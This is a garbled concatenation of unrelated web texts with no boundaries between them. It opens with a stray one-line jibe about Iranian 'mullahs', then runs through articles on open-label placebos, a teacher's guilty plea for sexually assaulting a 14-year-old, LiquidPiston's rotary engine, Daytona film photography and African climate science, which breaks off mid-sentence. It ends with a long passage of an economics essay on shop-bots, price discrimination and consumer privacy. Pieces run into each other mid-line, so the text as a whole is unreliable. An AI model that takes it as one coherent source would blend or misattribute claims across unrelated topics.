The Iranian mullahs must be laughing at the Americans and Israelis arguing about who insulted whom, while they are busy screwing their nuclear bombs together.Is A Placebo A Sham If You Know It's A Fake And It Still Works?
Enlarge this image toggle caption Tim Robberts/Getty Images Tim Robberts/Getty Images
Placebos can't cure diseases, but research suggests that they seem to bring some people relief from subjective symptoms, such as pain, nausea, anxiety and fatigue.
But there's a reason your doctor isn't giving you a sugar pill and telling you it's a new wonder drug. The thinking has been that you need to actually believe that you're taking a real drug in order to see any benefits. And a doctor intentionally deceiving a patient is an ethical no-no.
So placebos have pretty much been tossed in the "garbage pail" of clinical practice, says Ted Kaptchuk, director of the Program for Placebo Studies and the Therapeutic Encounter at Beth Israel Deaconess Medical Center. In an attempt to make them more useful, he has been studying whether people might see a benefit from a placebo even if they knew it was a placebo, with no active ingredients. An earlier study found that so-called "open-label" or "honest" placebos improved symptoms among people with irritable bowel syndrome.
And Kaptchuk and his colleagues found the same effect among people with garden-variety lower back pain, the most common kind of pain reported by American adults.
The study included 83 people in Portugal, all of whom had back pain that wasn't caused by cancer, fractures, infections or other serious conditions. All the participants were told that the placebo was an inactive substance containing no medication. They were told that the body can automatically respond to placebos, that a positive attitude can help but isn't necessary and that it was important to take the pills twice a day for the full three weeks.
Then half the group was assigned to simply continue their usual treatment regimens, which included things like non-opioid painkillers, rest and alternative or complementary remedies. (They were also given the opportunity to use the placebo pills at the end of the study, if they chose.) The other half were assigned to continue with their usual treatment, but to also take the placebo.
Participants rated their pain levels and their difficulty in performing daily activities, like getting dressed or climbing stairs, at the beginning and the end of the three-week study. And researchers found that people who received the placebo saw their scores for both usual and maximum pain levels drop by 30 percent, compared to 9 percent and 16 percent declines for the control group. The placebo group also reported a 29 percent reduction in their score for difficulty in performing daily activities, while the control group saw no change. (A higher score on that test indicated more difficulties.)
That translates to a tangible reduction in pain, says Kaptchuk, who is also a professor at Harvard Medical School. "Patients would feel the difference and physicians would notice it," he says.
The study was published earlier this month in the journal Pain.
"These kinds of studies show that a package of care that includes an ethical placebo can have a benefit," says Jeremy Howick, a senior researcher in the University of Oxford's Nuffield Department of Primary Health Care Sciences who researches placebos but wasn't involved in this study. "You might not need to deceive patients to get an effect."
The idea of actually telling people they are getting a placebo is a relatively new line of research. The vast majority of studies that have tested placebos have compared people getting no treatment to people getting a placebo that they thought was a real treatment. A 2010 Cochrane Review of that sort of randomized trial across a variety of conditions found no major clinical effects, generally, though the authors said there was a modest effect in outcomes reported by patients.
In other words, placebos can make people feel better. In a 2011 study by Kaptchuk and colleagues, placebo treatments used in asthma patients produced almost no change in an objective measure of lung function, while the group taking the active drug, albuterol. saw an improvement. But patients said their asthma symptoms improved when they took albuterol, a placebo inhaler or a fake acupuncture treatment, and the reported improvements were better than in patients given no treatment at all.
There's also the question of what, exactly, a placebo is. It's usually defined as a substance that has no therapeutic effect for a given condition. But there's no question that people also benefit from the entire interaction with a physician. "It's absolutely not the pill," Kaptchuk says. "It's what surrounds the pill," he says. That includes a trusting relationship between the doctor and patient. In that situation, if you think the treatment might possibly work — even if you have been told the pill is inactive, as in the back pain study — the brain can fill in the picture and improve symptoms, he says.
Kaptchuk describes this latest study as a proof of principle, and says it has to be replicated among larger groups of people over longer periods of time. But if it pans out, he says he thinks open-label placebos could be a helpful "watch and wait" strategy for people who are considering taking medications for common conditions where urgency isn't a problem. Meantime, he's part of a study at Dana-Farber Cancer Institute looking to see if open-label placebos can reduce fatigue in cancer survivors.
But for placebos to have a place in everyday care, he says, will take a shift in medicine. "It will take patients demanding it," he says.
Katherine Hobson is a freelance health and science writer based in Brooklyn, N.Y. She's on Twitter: @katherinehobson.Former Central Bucks South band director Bridgett Szychulski will be sentenced in the coming months for having sex with a 14-year-old Lenape Middle School student, as well as having a six-month relationship with the minor. (Published Wednesday, Jan. 28, 2015)
A former band teacher in the Central Bucks County School District admitted to having sex with a teenage boy over a six-month period.
Bridgett Szychulski, 31, carried on the sexual relationship with a 14-year-old Lenape Middle School student in 2012, police said. She was a band teacher at Central Bucks High School South and pregnant at the time of her arrest last year.
Szychulski was accused of having sex with the boy three times and sending him lewd text messages.
In Bucks County Common Pleas Court Tuesday, the Northeast Philadelphia woman entered a guilty plea to charges of statutory sexual assault and aggravated indecent assault on a minor, reported the Bucks County Courier Times.
Middle School Teacher Accused of Sex With Student
Authorities have charged Lenape Middle School ban teacher Bridgett Szychulski with having a sexual relationship with a 14-year-old student. (Published Tuesday, Sept. 16, 2014)
She remained free on bail awaiting sentencing. The paper reported she could face up to three years behind bars.
The investigation began in September after a tip to a child-abuse hotline.
The teacher, who was pregnant at the time of her arrest, was suspended from her teaching duties in the Central Bucks district.
Copyright Associated Press / NBC 10 PhiladelphiaPhoto: LiquidPiston The go-kart's conventional piston engine is on the left, the LiquidPiston rotary alternative is on the right
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A new kind of engine has showed its stuff for the first time outside the lab, and though it merely made a go-kart go, it could well be the start of something big.
The engine is a rotary design, a pistonless setup that maximizes the power-to-weight ratio. It’s the fruit of a dozen-odd years of work by LiquidPiston, a startup co-founded by Alec Shkolnik, who has a Ph.D. in computer science, with a specialization in AI and modeling. The engine itself is based on combustion technology developed by his father, Nikolay, a Soviet-trained mechanical engineer who retrained in the United States as a physicist.
There’s no liquid, though, and no piston: The company has outgrown a name that referred to a design that used both to convert expanding gas into propulsive force. Now, half a dozen iterations later, the result is an all-metal rotary engine that’s decidedly not your father’s Wankel, the famous, humming heart of the Mazda RX series.
“It’s kind of a Wankel flipped inside out, a design that solves the old problems with sealing and fuel consumption,” says company founder Alec Shkolnik. “The Wankel has a triangular rotor inside a peanut-shaped housing; we have a peanut-shaped rotor inside a triangular housing. Our seals go at the apexes of the triangle [...] and our seals are stationary because they’re in the housing.”
The seals stop gas from moving from one chamber to another. In a Wankel, the seals move rapidly, and that makes them hard to lubricate. You have to spray oil into the combustion chamber knowing that only a fraction will reach the seals and the rest will go up in smoke—a problem for both fuel economy and engine emissions. LiquidPiston’s engine lacks that baggage but retains the rotary engine’s intrinsic mechanical simplicity—just a rotor and an eccentric shaft, together with fuel injectors, fuel pumps and oil pumps.
Shkolnik admits that his machine is hardly ready yet for the auto industry’s 100,000-mile durability standard. But he argues that even in its teething stages it should find application in any field that prizes a tiny, fuel-efficient simple motor that packs a lot of power into a small volume and mass.
“We’ve replaced the go-kart’s 40-lb engine with our 4-lb, 3 to 5 horsepower engine,” Shkolnik says. As of today, you can buy the developer’s kit.
The engine is more efficient than a Wankel becaues it has a higher compression ratio and because the shifting geometry of its internal cavities lets it extract most of the energy of the exhaust gases before voiding them, a feature called over-expansion.
“Toyota uses the Atkinson cycle in its Prius, and that does overexpansion—so it’s not new,” he says. “But the Prius engine is oversized. We get over-expansion almost for free, just by changing the location of our [valve] port. We don’t have to have clunky valve trains to achieve that.”
A valve train is the camshaft-operated system that opens and closes the valves in a piston engine’s combustion chamber to let fuel and air in and exhaust gases out. Turning that shaft consumes energy—a “parasitic loss,” in the automotive lingo.
LiquidPiston’s grapefruit-size, 1.5-kilogram power plant is just the ticket for a medium-duty, propeller-powered drone. That’s why the U.S. military is interested in it: the company has received funding from the Defense Advanced Military Research Projects Agency, or DARPA.
“Many people immediately try to sell improved engines to the automotive and truck market, and I can’t blame them, it’s a $300 billion market,” Shkolnik says. “But to bring a new engine to life in the automotive world takes at least seven years and costs, quite literally, $500 million—and that’s for a piston engine, where the risk is low.”
So he’s looking first at markets that have an urgent need for very compact engines—hand-held power tools, cargo-carrying drones for the likes of Amazon and FedEx, and most interestingly, range extenders for cars.
“We have the concept of a 30-kilowatt engine operating on diesel, 30 lbs, in a 10 by 8 inch box,” Shkolnik says. “It could be part of an e-vehicle for masses, giving you the range you’re accustomed to—300 miles instead of 30—and rapid refueling.”
To be sure, the Wankel has also been suggested as a range extender. And though LiquidPiston’s engine can claim to be—or to be capable of becoming—more efficient and more compact than a Wankel, these things may not matter all that much when the machine is working only in a helper mode.
Radical new engine designs crop up all the time, but they rarely make the big time. Remember the gas turbines of the 1960s? The superhot, superefficient ceramic engine of the 1980s? The radically improved two-stroke engine whose exhaust was going to be cleaner than the ambient air? Even the Wankel repeatedly failed until Mazda’s engineers rolled up their sleeves and made its success a priority.
The saving grace of LiquidPiston, though, is the ever-expanding range of uses for engines of all kinds. Even if no car ever runs solely on one of its products, there are plenty of market niches it could fill: hybrids, drones, maybe even chain saws.
Editor’s note: the passage referring to gas seals has been reworded for clarity.Boxes of expired film have been sitting in a box in my closet for years. I have been waiting for an opportunity to put the film to a test, and with a credential for this year’s Daytona 500 and no assignment, it seemed like the perfect time to break out the expired film and take a risk. I had no idea once I processed film if I would even get anything usable, but my hope was to get images that echoed the timelessness of Daytona and it’s fanbase. Photographers have it easy these days with digital, but the ability to hold the images and have a tangible experience with photography was one of the best feelings I’ve had in a while. Here’s a collection of some of my favorite frames.
Photographs by Chip Litherland/ The Players’ Tribune[LAGOS] African scientists urgently need to build more evidence on the impact of climate change on the continent, a conference has heard.
A joint statement issued at the eighth Annual Meeting of African Science Academies last month (12–14November) in Nigeria, notes that Africa lacks much home-grown data about the impacts of extreme weather events and sea level rise.
SPEED READ The statement was made at the Annual Meeting of African Science Academies
Actions include risk assessments, mapping and modelling of extreme climate events
Informing policymakers is a key aim and evidence is already some years overdue
It says: "Actions required of science include contributions to the development of risk assessments and mapping for various anticipated climate-related extreme events. The refinement of modelling techniques, taking account also of natural systems and traditional knowledge, in developing early warning systems contributes to strengthen risk reduction.”
Nigeria's president, Goodluck Jonathan, launched the statement, entitled 'Climate change in Africa: using science to reduce climate risks', and stressed that climate change information is needed for planning.
"We believe that strong evidence-based knowledge on climate change will help policymakers take decisions and actions required to reduce climate risks in Africa," he said.
Roseanne Diab, executive officer of the Academy of Science of South Africa, toldSciDev.Net that a study on the impact of climate change on Africa would take at least two years and should be coordinated by the Network of African Science Academies (NASAC). Patrick Kelley, director of the US National Academies' board on the African Science Academy Development Initiative (ASADI), adds that although the call should have come years ago, the recurrence of extreme weather effects, droughts and floods has made the situation more urgent than ever.
"This is something that the scientific community has recognised for a few years now and Africa, I am glad to say, is getting on board now," he says.
Each African country should prioritise climate change issues and fund the engagement of scientists with policy makers, comments DoyinOdubanjo, executive secretary of the Nigerian Academy of Science. He adds that Africa scientists have so far made less than a fifth of the contributions to the global climate change debate. Odubanjo tells SciDev.Net that huge funds are available after events such as |
way that may make the claim more plausible in the future.) Other hitherto untested legal theories may, however, prove more plausible. A claim that meta-sites were somehow damaging E-bay by overloading its servers, or a claim based on some kind of trespass, might find more support.
Whether meta auction sites do burden searchees' servers is itself a difficult factual issue. To the extent that many people who are not interested in bidding see the data on the meta-site, the load on E-bay is reduced. The current law is probably in the meta-sites' favor. But there is uncertainty, and this uncertainty is compounded by the possibility of legislation.
Efficiency?
It is particularly appropriate to ask what the economically efficient solution might be at a time when the law is somewhat in flux. Most economists, be they Adam Smithian classicists, neoclassical Austrians, or more modern economics-of-information mavens, would at first thought instinctively agree with the proposition that a vendor in a competitive market selling a standardized product--for one Tiger Lily CD is as good as another--would want customers to know as much as possible about what the vendor offers for sale, and the prices at which the goods are available.
The reason for this near-consensus is that in a competitive market every sale at the offer price should be welcome: All are made at a markup over marginal cost. Thus, all online CD retailers ought to have wanted to be listed by BargainFinder, if only because every sale that went elsewhere when they had the lowest price was lost profit.
But not so.
A significant fraction of the merchants regularly visited by BargainFinder were less than ecstatic. They retaliated by blocking the agent's access to their otherwise publicly available data. As of March 1997, one third of the merchants targeted by BargainFinder locked out its queries. One, CDNow, did so for frankly competitive reasons. The other two said that the costs of large numbers of "hobbyist" queries were too great for them. A similar dynamic is currently unfolding in the online auction world: E-bay, the best-known online auction site, has started to block Auctionwatch's access to E-bay's data.
One possible explanation for the divergence between the economic theorist's prediction that every seller should want to be listed by BargainFinder or Auctionwatch and the apparent outcome is the price-gouging story. In this story, stores blocking comparison sites tend to charge higher-than-normal prices because they are able to take advantage of consumer ignorance of cheaper alternatives. The stores are gouging buyers by taking advantage of relatively high search costs.
Our utterly unscientific Web browsing supports the hypothesis that consumers have yet to figure out how to bring their search costs down--R-U-Sure may need a lot more publicity. Prices are in flux and do not appear to be behaving the way Adam Smith would predict. Random browsing among various delivery channels reveals wide price fluctuations, peaking at 40% on one occasion for consumer electronics items under $200. In this case, BargainFinder and its successors would indeed be valuable developments. They will make markets more efficient and will lower prices.
Another possibility is the "kindly service" story. Perhaps stores blocking BargainFinder, R-U-Sure, or meta-sites tend to charge higher-than-normal prices because they provide additional service or convenience. If commerce becomes increasingly electronic and impersonal (or if "personal" comes to mean "filtered through fiendishly clever software agents"), this sort of humanized attention will become increasingly expensive. To the extent that this additional service or convenience can be provided automatically, things are less clear.
In a sometimes-forgotten classic, The Joyless Economy, Tibor Scitovsky noted that the advent of mass production of furniture seemed to cause the price of hand-carved chairs to increase, even as the demand for them shrank.(25) As consumers switched to less costly (and less carefully made, one-size-fits-all) mass-produced furniture, carvers became scarce and business for the remaining carvers became scarcer. Soon only the rich could engage their services.
If the "kindly service" story is right, the rise of the commodity market creates a risk of a possible decline in service-intensive or higher-quality goods. Mass tastes will be satisfied more cheaply, yet specialty tastes will become more of an expensive luxury. On the other hand, the rise of shop-bots such as BargainFinder or R-U-Sure offers an opportunity for consumers to aggregate their preferences on a worldwide scale. Indeed, Mercata (http://www.mercata.com/) provides a service by which consumers can group together to put in a group buy for a product. The larger the number of units, the lower the price, although it is not clear that even the resulting price is always lower than what might be found by determined Web browsing. Thus, the transaction costs associated with aggregation of identical but disparate preferences, and with the communication and satisfaction of individualized preferences, should be going down. As it becomes increasingly easy for consumers to communicate their individualized preferences to manufacturers and suppliers, and increasingly easy to tailor goods to individual tastes--be it a CD that has only the tracks you like, customized blue jeans, or a car manufactured (just in time) to your specifications--personalized goods may become the norm, putting the "joy" back into the economy and replacing the era of mass production with an era of mass customization.
Some signs of this were visible even before the information revolution: Lower costs of customization have already undermined one of Scitovsky's examples as fresh-baked bread makes its comeback at many supermarkets and specialty stores. And Alfred P. Sloan created General Motors and the automobile industry of the postWorld War II era by piling different body styles, colors, and option packages on top of the same Chevy drive train.
In either the "price gouging" or the "kindly service" story, the advent of services such as BargainFinder and R-U-Sure presents retailers of many goods with a dilemma: If they join in, they contribute toward turning the market for CDs, books, consumer electronics, and other, similar goods into a commodity market with competition only on price. If they act "selflessly" and stay out, in order to try to degrade the utility of shop-bots and meta-sites (and preserve their higher average markup), they must hope that their competitors will understand their long-run self-interest in the same way.
But overt communication in which all sellers agreed to block BargainFinder would, of course, violate the Sherman Act. And without a means of retaliation to "punish" players that do not pursue the collusive long-run strategy of blocking BargainFinder, the collapse of the market into a commodity market with only price competition, and with little provided in the way of ancillary shopping services, appears likely.
When we wrote the first draft of this chapter, we noted that if CD retailers were trying to undermine BargainFinder by staying away, their strategy appeared to be failing. Some CD retailers that initially blocked BargainFinder later unblocked it, while others were clamoring to join. Since then, the rise of a new generation of meta-sites and alternate means of creating price competition makes the question somewhat moot. The technological arms race, pitting meta-sites and shop-bots against merchants, will continue, but the attackers seem to have the advantage, if only because of their numbers.
Whether or not this is an occasion for joy depends on which of our explanations above is closer to the truth. The growth of the bookstore chain put the local bookshop out of business, just as the growth of supermarkets killed the corner grocer. Not everyone considers this trend to be a victory, despite the lower prices. A human element has been lost, and a "personal service" element that may have led to a better fit between purchaser and purchase has been lost as well.
So far, the discussion has operated on the basis of the assumption that merchants have an incentive to block comparison shopping services if they charge higher-than-normal prices. Strangely, some merchants may have an incentive to block it if they charge lower-than-normal prices. As we all know, merchants sometimes advertise a "loss leader," and offer to sell a particular good at an unprofitable price. Merchants do this in order to lure consumers into the store, either to try to sell them more profitable versions of the same good (leading, in the extreme case, to "bait-and-switch"), or in the hope that the consumer will spy other, more profitable, goods to round out the market basket.
You can explain this merchant behavior in different ways, by talking about the economics of information, locational utility, myopic consumers generalizing incorrectly on the basis of a small number of real bargains, or temporary monopolies caused by the consumer's presence in this store as opposed to another store far away.
It may be that merchants blocking BargainFinder did not want consumers to be able to exploit their "loss leaders" without having to be exposed to the other goods offered simultaneously. Without this exposure, the "loss -leaders" would not lure buyers to other, higher-profit, items, but would simply be losses. The merchant's ability to monopolize the consumer's attention for a period may be the essence of modern retailing; the reaction to BargainFinder and Auctionwatch, at least, suggests that this is what merchants believe.
The growing popularity of frequent-buyer and other loyalty programs also suggests that getting and keeping customer attention is important to sellers. Interestingly, this explanation works about equally well for the "kindly service" and "loss leader" explanations--the two stories that are consistent with the assumption that the CD market was relatively efficient before BargainFinder came along.
Browsing Is Our Business
Retail stores in meatspace ("meatspace" being the part of life that is not cyberspace) provide information about available products--browsing and information acquisition services--that consumers find valuable and are willing to pay for, either in time and attention or in cash. Certainly meatspace shopping is conducive to unplanned (impulse) purchases, as any refrigerator groaning under the weight of kitchen magnets shows. Retail stores in cyberspace may exacerbate this tendency: What, after all, is a store in cyberspace but a collection of information?
CDNow, for example, tailors its virtual storefront to what it knows of a customer's tastes based on her past purchases. In addition to dynamically altering the storefront on each visit, CDNow also offers to send shoppers occasional email information about new releases that fit their past buying patterns.
One can imagine stores tailoring what they present to what they presume to be the customer's desires, based on demographic information that was available about the customer even before the first purchase. Tailoring might extend beyond showcasing different wares: Taken to the logical extreme, it would include some form of price discrimination based on facts known about the customer's preferences, or on demographic information thought to be correlated with preferences. (The U.S. and other legal systems impose constraints on the extent to which stores may generalize from demographic information: For example, stores that attempt race-based, sex-based, or other types of invidious price variation usually violate U.S. law.)
A critical microeconomic question in all this is how consumers and manufacturer/sellers exchange information in this market. Both consumers and sellers have an interest in encouraging the exchange of information: In order to provide what the consumer wants, the sellers need to know what is desired and how badly it is wanted. Consumers need to know what is offered where, and at what price. A shop-bot may solve the consumer's problem of price, but it will not tell him about an existing product of which he is unaware. Similarly, CDNow may reconfigure its store to fit customer profiles, but without some external source of information about customers, this takes time and requires repeat visitors. Indeed, it requires that customers come in through the front door: All the reconfiguration in the world will not help CDNow or E-bay if customers are unaware that they would enjoy its products, or if the customers' only relationship with CDNow is via a shop-bot or a meta-site.
The retail outlet in the average mall can plausibly be described as a mechanism for informing consumers about product attributes. The merchant gives away product information in the hope that consumers will make purchases. Physical stores, however, have fixed displays and thus must provide more or less identical information to every customer. Anyone who looks in the window, anyone who studies the product labels, or even the product catalogs, receives the same sales pitch.
Some of the more interesting recent writing on the microeconomics of virtual retailing suggests that what is really happening is a war for the customer's attention--a war for eyeballs.(26) Certainly the rush to create "portals" that, providers hope, will become the surfer-shopper's default home page on the Internet suggests that some large investors believe eyeballs are well worth having. So too does the tendency of successful early entrants in one product market to seek to leverage their brand into other markets.
It may be that the "dynamic storefront" story is the Internet's substitute for the "kindly service" story. If so, the rise of agent-based shopping may well be surprisingly destructive. It raises the possibility of a world in which retail shops providing valuable services are destroyed by an economic process that funnels a large percentage of consumer sales into what become commodity markets without middlemen: People use the high-priced premium cyberstore to browse, but then use BargainFinder to purchase.
To appreciate the problem, consider Bob, an online merchant who has invested a substantial amount in a large and easy-to-use "browsing" database that combines your past purchases, current news, new releases, and other information to present you with a series of choices and possible purchases that greatly increase your chances of coming across something interesting. After all, a customer enters seeking not a particular title, and not a random title, but a product that he or she would like. What is being sold is the process of search and information acquisition that leads to the judgment that this is something to buy. A good online merchant would make the service of "browsing" easy--and would in large part be selling that browsing assistance.
If this browsing is our business story, there is a potential problem: Browsing assistance is not an excludable commodity. Unless Bob charges for his services (which is likely to discourage most customers, and especially the impulse purchaser), there is nothing to stop Alice from browsing merchant Bob's Web site to determining the product she wants, and then using BargainFinder to find the cheapest source of supply. BargainFinder will surely find a competitor with lower prices, because Bob's competitor will not have to pay for the database and the software underlying the browsing assistance.
If so, projects such as BargainFinder will have a potentially destructive application, for many online stores will be easy to turn into commodity markets once the process of information acquisition and browsing is complete. It would be straightforward to run a market in kitchen gadgets along the lines of BargainFinder, even if much of the market for gadgets involves finding solutions to problems one was not consciously aware one had. First take a free ride on one of the sites that provide browsing assistance to discover what you want, then open another window and access BargainFinder to buy it.
Students and other people with more time than money have been using this strategy to purchase stereo components for decades: Draw on the sales expertise offered at the premium store, then buy from the warehouse. But the scope and ease of this strategy is about to become much greater.
To merchants providing helpful shopping advice, the end result will be as if they spent all their time in their competitors' discount warehouse, pointing out goods that the competitors' customers ought to buy. The only people who will pay premium prices for the physical good--and thus pay for browsing and information services--will be those who feel under a gift-exchange moral obligation to do so: the "sponsors" of NPR. Thus, cyberstores that offer browsing assistance may find that they have many interests in common with the physical stores in the mall--which fear that consumers will browse in their stores, and then go home and buy products tax-free on the Internet.
Collaborative Filtering
In the process of entering sufficient information about her tastes to prime the pump, Alice adds to the database of linked preference information. In helping herself, Alice helps others. In this simplest form, the collaborative filter helps Alice find out about new books she might like. The technology is applicable to finding potentially desirable CDs, news, Web sites, software, travel, financial services, and restaurants, as well as to helping Alice find people who share her interests.
At the next level of complexity, the collaborative filter can be linked to a shop-bot. Once Alice has decided that she will try On Being Blue, she can find out who will sell it to her at the best price.
The truly interesting development, however, comes when Alice's personal preference data are available to every merchant Alice visits. (Leave aside for a moment who owns these data, and the terms on which they become available.) A shop such as CDNow becomes able to tailor its virtual storefront to a fairly good model of Alice's likely desires upon her first visit. CDNow may use this information to showcase its most enticing wares, or it may use it to fine-tune its prices to charge Alice all that she can afford--or both.
Whichever is the case, shopping will not be the same.
Once shops acquire the ability to engage in price discrimination, consumers will of course seek ways of fighting back. One way will be to shop anonymously, and see what price is quoted when no consumer data are proffered. Consumers can either attempt to prevent merchants and others from acquiring the transactional data that could form the basis of a consumer profile, or they can avail themselves of anonymizing intermediaries that will protect the consumer against the merchant's attempt to practice perfect price discrimination by aggregating data about the seller's prices and practices. In this model, a significant fraction of cyber commerce will be conducted by software agents that will carry accreditation demonstrating their creditworthiness, but will not be traceable back to those who use them.
Thus, potential legal constraints on online anonymity may have more far-reaching consequences than their obvious effect on unconstrained political speech.(28) In some cases, consumers may be able to use collaborative filtering techniques to form buying clubs and achieve quantity discounts, as in the case of Mercata.(29) Or consumers will construct shopping personas with false demographics and purchase patterns in the hope of getting access to discounts. Business fliers across America routinely purchase back-to-back round-trip tickets that bracket a Saturday night in an attempt to diminish the airlines' ability to charge business travelers premium prices. Airlines, meanwhile, have invested in computer techniques to catch and invalidate the second ticket.
Consumers will face difficult maximization problems. In the absence of price discrimination, and assuming privacy itself is only an intermediate good (i.e., that consumers do not value privacy in and of itself), the marginal value to the consumer of a given datum concerning her behavior is likely to be less than the average value to the merchant of each datum in an aggregated consumer profile. If markets are efficient, or if consumers suffer from a plausible myopia in which they value data at the short-run marginal value rather than the long-term average cost, merchants will purchase this information, leading to a world with little transactional privacy.(30)
Furthermore, the lost privacy is not without gain: Every time Alice visits a virtual storefront that has been customized to her preferences, her search time is reduced, and she is more likely to find what she wants--even if she didn't know she wanted it--and the more information the merchant has about her, the more true this will be.
The picture becomes even more complicated once one begins to treat privacy itself as a legitimate consumer preference rather than as merely an intermediate good. Once one accepts that consumers may have a taste for privacy, it is no longer obvious that the transparent consumer is an efficient solution for the management of customer data. Relaxing an economic assumption does not, however, change anything about actual behavior, and the same tendencies that push the market toward a world in which consumer data is a valuable and much-traded commodity persist.
Indeed, basic ideas of privacy are under assault. Data miners and consumer profilers are able to produce detailed pictures of the tastes and habits of increasing numbers of consumers. The spread of intelligent traffic management systems and video security and recognition systems, and the gradual integration of information systems built into every appliance, will eventually make it possible to track movement as well as purchases. Once one person has this information, there is, of course, almost no cost for making it available to all.
Unfortunately, it is difficult to measure the demand for privacy. Furthermore, the structure of the legal system does not tend to allow consumers to express this preference. Today, most consumer transactions are governed by standard-form contracts. The default rules may be constrained by state consumer law, or by portions of the Uniform Commercial Code, but they generally derive most of their content from boilerplate language written by a merchant's lawyer. If you are buying a dishwasher, you do not get to haggle over the terms of the contract, which (in the rare case that they are even read) are found in small print somewhere on the invoice.
Although it is possible to imagine a world in which the Internet allows for negotiation of contractual terms even in consumer sales, we have yet to hear of a single example of this phenomenon, and see little reason to expect it. On the contrary, to the extent that a trend can be discerned, it is in the other direction, toward the "Web-wrap" or "clip-wrap" contract (the neologisms derive from "shrink-wrap" contracts, in which the buyer of software is informed that she will agree to the terms by opening the wrapper), in which the consumer is asked to agree to the contract before being allowed to view the Web site's content. Indeed, the enforcement of these agreements is enshrined in law in the proposed, and very controversial, Uniform Computer Information Transactions Act <http://www.law.upenn.edu/bll/ulc/ucita/cita10st.htm>.
The Next Economics?
Modest as they may be in comparison to the issues we have left for another day, our observations about microfoundations do have some implications for economic theory and for policy. At some point soon, it will become practical to charge for everything on the World Wide Web. Whether it will become economically feasible, or common, remains to be seen. The outcome of this battle will have profound economic and social consequences.
Consider just two polar possibilities. On the one hand, one can envision a hybrid gift-exchange model, in which most people pay as much for access to Web content as they pay for NPR, and in which the few who value an in-depth information edge or speed-of-information acquisition pay more. At the other extreme, one can as easily foresee a world in which great efforts have been made to reproduce familiar aspects of the traditional model of profit maximization.
Which vision will dominate, absent government intervention, depends in part on the human motivation of programmers, authors, and other content providers. The invisiblehand assumed a "rational economic man," a greedy human. The cybernetic human could be very greedy, for greed can be automated. But much progress in basic science and technology has always been based on other motivations than money. The thrill of the chase, the excitement of discovery, and the respect of one's peers have played a very large role as well, perhaps helped along by the occasional Nobel Prize, knighthood for services to science, or a distinguished chair; in the future, "Net.Fame" may join the list.
Government will surely be called upon to intervene. Adam Smith said that eighteenth-century "statesmen" could in most cases do the most good by sitting on their hands. The twenty-first-century "stateswomen" will have to decide whether this advice still applies after the fit between the institutions of market exchange and production and distribution technologies has decayed.
We suspect that policies that ensure diversity of providers will continue to have their place. One of the biggest benefits of a market economy is that it provides for sunset. When faced with competition, relatively inefficient organizations fail to take in revenue to cover their costs, and then they die. Competition is thus still a virtue, whether the governing framework is one of gift-exchange or buy-and-sell--unless competition destroys the ability to capture significant economies of scale.
The challenge for policy makers is likely to be particularly acute in the face of technological attempts to recreate familiar market relationships. That markets characterized by the properties of rivalry, excludability, and transparency are efficient does not mean that any effort to reintroduce these properties to a market lacking them necessarily increases social welfare. Furthermore, in some cases the new, improved, versions may provide more excludability or transparency than did the old model; this raises new problems. Holders of intellectual property rights in digital information, be they producers or sellers, do have a strong incentive to reintroduce rivalry and excludability into the market for digital information.
Increasing Excludability
First, technologies that permit excludability risk introducing socially unjustified costs if the methods of policing excludability are themselves costly.
Second, as the example of broadcast television demonstrates, imperfect substitutes for excludability can themselves have bad consequences that are sometimes difficult to anticipate.
Third, over-perfect forms of excludability raise the possibility that traditional limits on excludability of information such as "fair use" might be changed by technical means without the political and social debate that should precede such a shift.
We counsel caution: In the absence of any clear indication of what the optimum would be, the burden of proof should be on those who argue that any level of excludability should be mandated. This applies particularly to information that is not the content being sold but that is instead about the current state of the market itself. There is a long tradition that information about the state of the marketplace should be as widely broadcast as possible.(32) We cannot see any economic arguments against this tradition.
In particular, reforming the law to give sellers a property right in information about the prices that they charge appears extremely dangerous. There has never in the past been a legal right to exclude competitors from access to bulk pricing data. It is hard to see what improvement in economic efficiency could follow from the creation of such a right in the future.
Increasing Rivalry
But imposing rivalry where it is not naturally found means imposing a socially unnecessary cost on someone. The result may look and feel like a traditional market, but it cannot, by definition, carry the "optimality" properties markets have possessed in the past. The artificial creation of rivalry ensures that many users whose willingness to pay for a good is greater than the (near-zero) marginal cost of producing another copy will not get one.
Policy makers should therefore be very suspicious of any market-based arguments for artificial rivalry.
Increasing Transparency
The answer is fundamentally political. It depends on the extent to which one is willing to recognize privacy as an end in itself. If information about consumers is just a means to an economic end, there is no reason for concern. If, on the other hand, citizens perceive maintaining control over facts about their economic actions as a good in itself, some sort of governmental intervention in the market may be needed to make it easier for this preference to express itself.
Policy Hazards in the New Economy
The consequences may be earthshaking. For about two centuries starting in 1800, technological progress was the friend of the unskilled worker: It provided a greater relative boost to the demand for workers who were relatively unskilled (who could tighten bolts on the assembly line, or move things about so that the automated production process could use them, or watch largely self-running machines and call for help when they stopped) than for those who were skilled. The spread of industrial civilization was associated with a great leveling in the distribution of income. But there is nothing inscribed in the nature of reality to the effect that technological progress must always boost the relative wages of the unskilled.
Nor have we addressed potentially compensating factors such as the looming disaggregation of the university, a scenario in which "distance learning" bridges the gap between elite lecturers and mass audiences, turning many educational institutions into little more than degree-granting standards bodies, with financial aid and counseling functions next to a gym or (just maybe) a library. While this may benefit the mass audience, it has harmful effects on one elite: It risks creating an academic proletariat made up of those who would have been well-paid professors before the triumph of "distance learning" over the lecture hall.
Along a number of dimensions, there is good reason to fear that the enormous economies of scale found in the production of nonrivalrous commodities are pushing us in the direction of a winner-take-all economy. The long-run impact of the information revolution on the distribution of income and wealth is something that we have not even begun to analyze.
Similarly, we have completely ignored a number of interesting macroeconomic issues. Traditional ideas of the "open" and "closed" economy will have to be rethought on sectoral grounds. Once a nation becomes part of the global information infrastructure, its ability to raise either tariff or nontariff walls against certain foreign trade activities becomes vanishingly small. Nations will not, for example, be able to protect an "infant" software industry. It will be hard to enforce labor laws when the jobs are taken by telecommuters.
National accounts are already becoming increasingly inaccurate as it becomes harder and harder to track imports and exports. Governments are unable to distinguish the arrival of a personal letter, with a picture attached, from the electronic delivery of a $100,000 piece of software. Monetary and financial economics will also have to adapt.
Traditionally, the field of economics has always had some difficulty explaining money: There has been something "sociological" about the way tokens worthless in themselves get and keep their value that is hard to fit with economists' underlying explanatory strategies of rational agents playing games of exchange with one another. These problems will intensify as the nature and varieties of money change. The introduction of digital currencies suggests a possible return of private currencies. It threatens the end of seigneurage, and raises questions about who can control the national money supply.(33)
The market system may well prove to be tougher than its traditional defenders have thought, and to have more subtle and powerful advantages than those that defenders of the invisible hand have usually listed. At the very least, however, defenders will need new arguments. Economic theorists have enormous powers of resilience: Economists regularly try to spawn new theories--today, evolutionary economics, the economics of organizations and bureaucracies, public choice theory, and the economics of networks.
